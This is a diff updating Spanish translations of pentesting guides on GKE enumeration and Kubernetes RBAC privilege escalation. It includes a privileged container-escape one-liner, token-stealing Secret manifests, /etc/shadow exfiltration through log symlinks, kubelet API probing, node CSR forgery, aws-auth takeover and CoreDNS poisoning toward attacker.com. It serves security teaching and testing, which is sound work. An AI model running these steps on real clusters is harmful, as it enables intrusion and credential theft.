diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index fdbb6aec4..1f9ef14d7 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -1,10 +1,10 @@ -# GCP - Contenedores y Enumeración de GKE +# GCP - Containers & GKE Enum {{#include ../../../banners/hacktricks-training.md}} -## Contenedores +## Containers -En los contenedores de GCP, puedes encontrar la mayoría de los servicios basados en contenedores que GCP ofrece, aquí puedes ver cómo enumerar los más comunes: +En contenedores de GCP puedes encontrar la mayoría de los servicios basados en contenedores que ofrece GCP, aquí puedes ver cómo enumerar los más comunes: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -En la siguiente página puedes verificar cómo **abusar de los permisos de contenedor para escalar privilegios**: +En la siguiente página puedes ver cómo **abuse container permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de conte ## Node Pools -Estos son los grupos de máquinas (nodos) que forman los clústeres de kubernetes. +Estos son los grupos de máquinas (nodes) que forman los clusters de kubernetes. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster --zone --region \ +--format='value(workloadIdentityConfig.workloadPool)' -La técnica utilizada se explica en las siguientes publicaciones: +kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' +``` +Si una service account tiene la anotación `iam.gke.io/gcp-service-account`, revisa la política de IAM de la service account para concesiones de `roles/iam.workloadIdentityUser` a principals de Kubernetes service account. También comprueba las políticas IAM allow para principals directos de workload identity o conjuntos de principals amplios. + +El acceso a metadata depende del modo del cluster, la configuración del node pool y los ajustes del workload. No asumas que cada pod puede robar la node service account. En entornos con Workload Identity habilitado, los pods normales deberían usar el GKE metadata server para obtener la workload identity destinada a su Kubernetes service account. La compromise del nodo, los pods `hostNetwork` en algunas configuraciones Standard y la exposición heredada de metadata del nodo aún pueden cambiar el blast radius, así que verifica el modo real de metadata del node pool, la node service account, los OAuth scopes y la ubicación del pod. + +### TLS Boostrap Privilege Escalation + +Inicialmente esta técnica de privilege escalation permitía **privesc dentro del cluster GKE** y, en la práctica, permitía a un atacante **comprometerlo por completo**. + +Esto se debe a que GKE proporciona [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) en la metadata, que es **accesible para cualquiera simplemente comprometiendo un pod**. + +La técnica utilizada se explica en los siguientes posts: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -Y esta herramienta fue creada para automatizar el proceso: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +Y esta tool fue creada para automatizar el proceso: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Sin embargo, la técnica abusó del hecho de que **con las credenciales de metadatos** era posible **generar un CSR** (Solicitud de Firma de Certificado) para un **nuevo nodo**, que fue **aprobado automáticamente**.\ -En mi prueba verifiqué que **esas solicitudes ya no son aprobadas automáticamente**, así que no estoy seguro si esta técnica sigue siendo válida. +Sin embargo, la técnica abusaba del hecho de que **con las credenciales de metadata** era posible **generar un CSR** (Certificate Signing Request) para un **nuevo nodo**, que era **aprobado automáticamente**.\ +En mi prueba comprobé que **esas requests ya no se aprueban automáticamente**, así que no estoy seguro de si esta técnica sigue siendo válida. -### Secretos en la API de Kubelet +### Secrets in Kubelet API -En [**esta publicación**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) se descubrió una dirección de API de Kubelet accesible desde dentro de un pod en GKE que proporciona los detalles de los pods en ejecución: +En [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) se descubrió se descubrió una dirección de Kubelet API accesible desde dentro de un pod en GKE que daba detalles de los pods en ejecución: ``` curl -v -k http://10.124.200.1:10255/pods ``` -Incluso si la API **no permite modificar recursos**, podría ser posible encontrar **información sensible** en la respuesta. El endpoint /pods se encontró utilizando [**Kiterunner**](https://github.com/assetnote/kiterunner). +Incluso si la API **no permite modificar recursos**, podría ser posible encontrar **información sensible** en la respuesta. El endpoint /pods se encontró usando [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 392b09955..d963e294a 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -Aquí puedes encontrar algunas configuraciones potencialmente peligrosas de Roles y ClusterRoles.\ -Recuerda que puedes obtener todos los recursos soportados con `kubectl api-resources` +Aquí puedes encontrar algunas configuraciones de Roles y ClusterRoles potencialmente peligrosas.\ +Recuerda que puedes obtener todos los resources soportados con `kubectl api-resources` ## **Privilege Escalation** -Refiriéndose al arte de obtener **access to a different principal** dentro del cluster **with different privileges** (dentro del Kubernetes cluster o hacia clouds externos) que las que ya tienes, en Kubernetes básicamente hay **4 main techniques to escalate privileges**: +Refiriéndose al arte de obtener **access to a different principal** dentro del cluster **con diferentes privileges** (dentro del kubernetes cluster o hacia external clouds) que los que ya tienes, en Kubernetes existen básicamente **4 técnicas principales para escalar privileges**: -- Poder **impersonate** a otros user/groups/SAs con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos -- Poder **create/patch/exec pods** donde puedas **find or attach SAs** con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos +- Poder **impersonate** a otros user/groups/SAs con mejores privileges dentro del kubernetes cluster o hacia external clouds +- Poder **create/patch/exec pods** donde puedas **encontrar o attach SAs** con mejores privileges dentro del kubernetes cluster o hacia external clouds - Poder **read secrets** ya que los tokens de las SAs se almacenan como secrets -- Poder **escape to the node** desde un container, donde puedes robar todos los secrets de los containers que se ejecutan en el node, las credenciales del node y los permisos del node dentro del cloud donde se esté ejecutando (si los hay) -- Una quinta técnica que merece mención es la capacidad de **run port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod. +- Poder **escape to the node** desde un container, donde puedes robar todos los secrets de los containers que se ejecutan en el node, las credentials del node y los permissions del node dentro de la cloud en la que se ejecuta (si aplica) +- Una quinta técnica que merece una mención es la capacidad de **run port-forward** en un pod, ya que podrías acceder a resources interesantes dentro de ese pod. ### Access Any Resource or Verb (Wildcard) -El **wildcard (\*) gives permission over any resource with any verb**. Lo usan los admins. Dentro de una ClusterRole esto significa que un atacante podría abusar de cualquier namespace en el cluster +El **wildcard (\*) da permission sobre cualquier resource con cualquier verb**. Lo usan los admins. Dentro de un ClusterRole esto significa que un attacker podría abusar de cualquiernamespace en el cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -31,11 +31,11 @@ verbs: ["*"] ``` ### Acceder a cualquier recurso con un verbo específico -En RBAC, ciertos permisos presentan riesgos significativos: +En RBAC, ciertos permisos representan riesgos significativos: -1. **`create`:** Concede la capacidad de crear cualquier recurso del cluster, arriesgando un escalamiento de privilegios. -2. **`list`:** Permite listar todos los recursos, potencialmente leaking datos sensibles. -3. **`get`:** Permite acceder a secrets de service accounts, lo que supone una amenaza para la seguridad. +1. **`create`:** Otorga la capacidad de crear cualquier recurso del cluster, con riesgo de privilege escalation. +2. **`list`:** Permite listar todos los recursos, lo que potencialmente puede leak sensitive data. +3. **`get`:** Permite acceder a secrets de service accounts, lo que supone una amenaza de seguridad. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -47,11 +47,11 @@ rules: resources: ["*"] verbs: ["create", "list", "get"] ``` -### Pod Create - Steal Token +### Pod Create - Robar token -Un atacante con los permisos para crear un pod podría adjuntar una Service Account privilegiada en el pod y robar el token para suplantar a la Service Account. Escalando efectivamente sus privilegios. +Un atacker con los permisos para crear un pod podría adjuntar un privileged Service Account al pod y robar el token para impersonar al Service Account. Efectivamente escalando privilegios a él -Ejemplo de un pod que robará el token de la `bootstrap-signer` service account y se lo enviará al atacante: +Ejemplo de un pod que robará el token del service account `bootstrap-signer` y lo enviará al atacker: ```yaml apiVersion: v1 kind: Pod @@ -74,12 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape -Lo siguiente indica todos los privilegios que puede tener un contenedor: +Lo siguiente indica todos los privilegios que un container puede tener: -- **Privileged access** (deshabilitar protecciones y establecer capacidades) -- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios -- **Deshabilitar el namespace hostNetwork**, dando acceso para robar los privilegios en la nube de los nodos y un mejor acceso a las redes -- **Montar el / del host dentro del contenedor** +- **Privileged access** (deshabilitando protecciones y configurando capabilities) +- **Disable namespaces hostIPC and hostPid** que pueden ayudar a escalar privilegios +- **Disable hostNetwork** namespace, dando acceso para robar los privilegios cloud de los nodes y mejor acceso a las networks +- **Mount hosts / dentro del container** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -119,15 +119,15 @@ Crea el pod con: ```bash kubectl --token $token create -f mount_root.yaml ``` -Comando de una sola línea de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) y con algunas adiciones: +One-liner de [este tweet](https://twitter.com/mauilion/status/1129468485480751104) y con algunas adiciones: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Ahora que puedes escapar al node consulta post-exploitation techniques en: +Ahora que puedes escapar al node, revisa las técnicas de post-exploitation en: #### Stealth -Probablemente quieras ser **stealthier**, en las páginas siguientes puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior: +Probablemente quieras ser **más stealthy**, en las siguientes páginas puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior: - **Privileged + hostPID** - **Privileged only** @@ -136,14 +136,14 @@ Probablemente quieras ser **stealthier**, en las páginas siguientes puedes ver - **hostNetwork** - **hostIPC** -_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Puedes encontrar un ejemplo de cómo crear/abuse de las configuraciones anteriores de pods privilegiados en_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -Si puedes **create** un **pod** (y opcionalmente una **service account**) podrías ser capaz de **obtain privileges in cloud environment** al **assigning cloud roles to a pod or a service account** y luego acceder a él.\ -Además, si puedes crear un **pod with the host network namespace** puedes **steal the IAM** role de la instancia del **node**. +Si puedes **crear** un **pod** (y opcionalmente un **service account**) quizá puedas **obtener privilegios en cloud environment** al **asignar cloud roles a un pod o a un service account** y luego acceder a ello.\ +Además, si puedes crear un **pod con el host network namespace** puedes **robar el IAM** role de la instancia del **node**. -For more information check: +Para más información consulta: {{#ref}} pod-escape-privileges.md @@ -151,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Es posible abusar de estos permisos para **create a new pod** y escalar privilegios como en el ejemplo anterior. +Es posible abouse estos permisos para **crear un nuevo pod** y estalae privilegios como en el ejemplo anterior. -El siguiente yaml **creates a daemonset and exfiltrates the token of the SA** dentro del pod: +El siguiente yaml **crea un daemonset y exfiltrates el token de la SA** dentro del pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** es un recurso en kubernetes usado para **ejecutar comandos en una shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener una shell dentro**. +**`pods/exec`** es un resource en kubernetes usado para **ejecutar commands en un shell dentro de un pod**. Esto permite **ejecutar commands dentro de los containers o obtener un shell dentro**. -Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o entrar en un pod privilegiado, escapar al node, y robar todos los tokens de los pods en el node y (ab)usar el node: +Therfore, es posible **entrar en un pod y robar el token del SA**, o entrar en un privileged pod, escapar al node, y robar todos los tokens de los pods en el node y (ab)use the node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Por defecto el comando se ejecuta en el primer contenedor del pod. Obtén **todos los contenedores en un pod** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde quieres ejecutarlo con `kubectl exec -it -c -- sh` +> By default the command is executed in the first container of the pod. Get **all the pods in a container** with `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` and then **indicate the container** where you want to execute it with `kubectl exec -it -c -- sh` -Si es un distroless container puedes intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp :`**. +If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp :`**. ### port-forward -Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Está pensado para facilitar la depuración de aplicaciones que se ejecutan dentro de un pod, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como DBs) o vulnerables (¿webs?) dentro de un pod: +This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` -### Hosts con /var/log/ escribible — Escape +### Hosts Writable /var/log/ Escape -Como [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si puedes acceder o crear un pod con el directorio **hosts `/var/log/` mounted** en él, puedes **escape from the container**.\ -Esto se debe básicamente a que cuando la **Kube-API intenta obtener los logs** de un contenedor (usando `kubectl logs `), solicita el archivo `0.log` del pod usando el endpoint `/logs/` del servicio **Kubelet**.\ -El servicio Kubelet expone el endpoint `/logs/` que básicamente está **exponiendo el filesystem `/var/log` del contenedor**. +Como [**se indica en esta investigación**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si puedes acceder o crear un pod con el **hosts `/var/log/` directory mounted** sobre él, puedes **escapar del container**.\ +Esto se debe básicamente a que cuando la **Kube-API intenta obtener los logs** de un container (usando `kubectl logs `), **solicita el archivo `0.log`** del pod usando el endpoint `/logs/` del servicio **Kubelet**.\ +El servicio Kubelet expone el endpoint `/logs/`, que básicamente **expone el filesystem `/var/log` del container**. -Por lo tanto, un atacante con **acceso de escritura en la carpeta /var/log/** del contenedor podría abusar de este comportamiento de 2 maneras: +Por lo tanto, un atacante con **acceso de escritura en la carpeta /var/log/** del container podría abusar de este comportamiento de 2 formas: -- Modificar el archivo `0.log` de su contenedor (usualmente ubicado en `/var/logs/pods/namespace_pod_uid/container/0.log`) para que sea un **symlink pointing to `/etc/shadow`**, por ejemplo. Entonces, podrás exfiltrar el archivo shadow del host haciendo: +- Modificando el archivo `0.log` de su container (normalmente ubicado en `/var/logs/pods/namespace_pod_uid/container/0.log`) para que sea un **symlink apuntando a `/etc/shadow`** por ejemplo. Entonces, podrás exfiltrar el hosts shadow file haciendo: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -224,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Si el atacante controla cualquier principal con los **permisos para leer `nodes/log`**, puede simplemente crear un **symlink** en `/host-mounted/var/log/sym` apuntando a `/` y al **acceder a `https://:10250/logs/sym/` listará el sistema de archivos raíz del host** (cambiar el symlink puede proporcionar acceso a archivos). +- Si el atacante controla cualquier principal con los **permissions to read `nodes/log`**, puede simplemente crear un **symlink** en `/host-mounted/var/log/sym` hacia `/` y, al **accessing `https://:10250/logs/sym/`,** listará el filesystem root del host (cambiar el symlink puede dar acceso a archivos). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Se puede encontrar un laboratorio y un exploit automatizado en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Un laboratorio y un exploit automatizado se pueden encontrar en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Eludir la protección readOnly +#### Bypassing readOnly protection -Si tienes la suerte de que la capability altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw: +Si tienes suficiente suerte y la capability altamente privilegiada `CAP_SYS_ADMIN` está disponible, puedes simplemente volver a montar la carpeta como rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Eludir la protección hostPath readOnly +#### Evitando la protección readOnly de hostPath -Como se indica en [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) es posible eludir la protección: +Como se indica en [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) es posible evitar la protección: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Esto estaba pensado para prevenir escapes como los anteriores: en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta del host en el contenedor con acceso de escritura: +¿Cuál estaba destinado a prevenir escapes como los anteriores al, en lugar de usar un mount hostPath, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta del host en el container con acceso de escritura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -298,11 +298,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Suplantación de cuentas privilegiadas** +### **Suplantando cuentas privilegiadas** -Con el privilegio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada. +Con un privilegio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada. -Simplemente use el parámetro `--as=` en el comando `kubectl` para suplantar a un usuario, o `--as-group=` para suplantar a un grupo: +Solo usa el parámetro `--as=` en el comando `kubectl` para suplantar un usuario, o `--as-group=` para suplantar un grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -317,14 +317,15 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Listar Secrets -El permiso para **list secrets podría permitir a un atacante leer realmente los secrets** accediendo al endpoint de la API REST: +El permiso para **listar secrets podría permitir a un atacante leer realmente los secrets** accediendo al endpoint de la REST API: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Creación y lectura de Secrets +### Creating and Reading Secrets -Existe un tipo especial de Secret de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount. -Si tienes permisos para crear y leer Secrets, y además conoces el nombre del serviceaccount, puedes crear un Secret como sigue y luego robar el token del serviceaccount víctima: +Hay un tipo especial de Kubernetes Secret de tipo **kubernetes.io/service-account-token** que almacena tokens de service account. Las versiones modernas de Kubernetes **no** crean automáticamente un Secret de larga duración para cada ServiceAccount; los projected, bound TokenRequest tokens son la ruta normal de workload. Sin embargo, los service account token Secrets creados manualmente todavía son compatibles, y los clusters actualizados o legacy aún pueden contener long-lived token Secrets. Los clusters actuales también pueden marcar como inválidos los auto-generated legacy token Secrets no usados y limpiarlos eventualmente, dejando labels como `kubernetes.io/legacy-token-invalid-since` y `kubernetes.io/legacy-token-last-used`. + +Si tienes permisos para crear y leer secrets, y además conoces el nombre del serviceaccount, puedes crear un secret de la siguiente manera y luego robar el token del serviceaccount víctima de él: ```yaml apiVersion: v1 kind: Secret @@ -335,7 +336,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Ejemplo exploitation: +Ejemplo de exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -383,14 +384,14 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Ten en cuenta que si tienes permiso para crear y leer secrets en un namespace determinado, el victim serviceaccount también debe estar en ese mismo namespace. +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. -### Lectura de un secret – brute-forcing token IDs +### Reading a secret – brute-forcing token IDs -Si bien un atacante en posesión de un token con permisos de lectura necesita el nombre exacto del secret para usarlo, a diferencia del privilegio más amplio de _**listing secrets**_, todavía existen vulnerabilidades. Default service accounts en el sistema pueden ser enumerados, cada uno asociado a un secret. Estos secrets tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) según el [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría, de forma factible, ejecutar un brute-force attack para deducir el token en cuestión de horas, lo que podría conducir a una escalada de privilegios al acceder a service accounts sensibles. +El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar factiblemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que potencialmente podría llevar a una escalada de privilegios al acceder a service accounts sensibles. ### EncrpytionConfiguration en texto claro @@ -453,11 +454,11 @@ secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` ### Solicitudes de firma de certificados -Si tienes el verbo **`create`** en el recurso `certificatesigningrequests` ( o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.** +Si tienes los verbos **`create`** en el recurso `certificatesigningrequests` ( o al menos en `certificatesigningrequests/nodeClient`). Puedes **create** un nuevo CeSR de un **nuevo nodo**. -Según la [documentación es posible autoaprobar estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` +Según la [documentación it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **don't need extra permissions**. Si no, necesitarías poder aprobar la solicitud, lo que significa update en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `/` o `/*` -Un **ejemplo de un role** con todos los permisos requeridos es: +Un **example of a role** con todos los permisos requeridos es: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -488,18 +489,18 @@ resourceNames: verbs: - approve ``` -Entonces, con el nuevo node CSR aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**. +Entonces, con la nueva CSR del node aprobada, puedes **abuse** los permisos especiales de los nodes para **steal secrets** y **escalate privileges**. -En [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configuración GKE K8s TLS Bootstrap está configurada con **automatic signing** y se abusa de ella para generar credenciales de un nuevo K8s Node y luego usar esas credenciales para escalar privilegios robando secretos.\ -Si **tienes los privilegios mencionados podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo evita el error que impide a un nuevo nodo acceder a los secretos dentro de los contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.** +En [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configuración GKE K8s TLS Bootstrap está configurada con **automatic signing** y se abuse para generar credenciales de un nuevo K8s Node y luego abuse de ellas para escalar privilegios robando secrets.\ +Si **tienes los privilegios mencionados podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo node acceda a secrets dentro de containers porque un **node solo puede acceder a los secrets de los containers montados en él.** -La forma de evitar esto es simplemente **crear credenciales de nodo para el nombre de nodo donde está montado el contenedor con los secretos interesantes** (pero consulta cómo hacerlo en el primer post): +La forma de eludir esto es simplemente **create a node credentials for the node name where the container with the interesting secrets is mounted** (pero solo mira cómo hacerlo en el primer post): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Entidades (principals) que puedan modificar **`configmaps`** en el namespace kube-system en clusters EKS (necesitan estar en AWS) pueden obtener privilegios de administrador del cluster sobrescribiendo el **aws-auth** configmap.\ +Los principales que pueden modificar **`configmaps`** en el namespace kube-system en clústeres EKS (necesitan estar en AWS) pueden obtener privilegios de administrador del clúster sobrescribiendo el configmap **aws-auth**.\ Los verbos necesarios son **`update`** y **`patch`**, o **`create`** si el configmap no fue creado: ```bash # Check if config map exists @@ -540,18 +541,18 @@ groups: - system:masters ``` > [!WARNING] -> Puedes usar **`aws-auth`** para **persistencia** otorgando acceso a usuarios de **otras cuentas**. +> Puedes usar **`aws-auth`** para **persistence** dando acceso a usuarios de **other accounts**. > -> Sin embargo, `aws --profile other_account eks update-kubeconfig --name ` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del cluster en lugar del nombre.\ -> Para que `kubectl` funcione, asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de aws exec añade `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS. +> Sin embargo, `aws --profile other_account eks update-kubeconfig --name ` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del cluster en lugar de solo el nombre.\ +> Para hacer que `kubectl` funcione, solo asegúrate de **configurar** el **kubeconfig de las víctimas** y en los aws exec args añade `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar AWS. -### ConfigMap de CoreDNS +### CoreDNS config map -Si tienes permisos para modificar el **`coredns` configmap** en el `kube-system` namespace, puedes modificar a qué direcciones se resolverán los dominios para poder realizar ataques MitM y **robar información sensible o inyectar contenido malicioso**. +Si tienes permisos para modificar el **`coredns` configmap** en el namespace `kube-system`, puedes modificar a qué dirección se resolverán los dominios para poder realizar ataques MitM y **robar información sensible o inyectar contenido malicioso**. -Los verbos necesarios son **`update`** y **`patch`** sobre el **`coredns`** configmap (o todos los config maps). +Los verbs necesarios son **`update`** y **`patch`** sobre el **`coredns`** configmap (o todos los config maps). -Un **archivo coredns** típico contiene algo como esto: +Un **archivo coredns** normal contiene algo como esto: ```yaml data: Corefile: | @@ -581,25 +582,25 @@ reload loadbalance } ``` -Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com` para que, cada vez que se acceda a `victim.com`, en realidad se acceda al dominio `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`. +Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com` para que, siempre que se acceda a `victim.com`, en realidad el dominio al que se va a acceder sea `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`. -Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer los cambios. +Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y haciendo cambios. -### Escalación en GKE +### Escalating in GKE -Hay **2 formas de asignar K8s permissions a GCP principals**. En cualquier caso el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al cluster, o 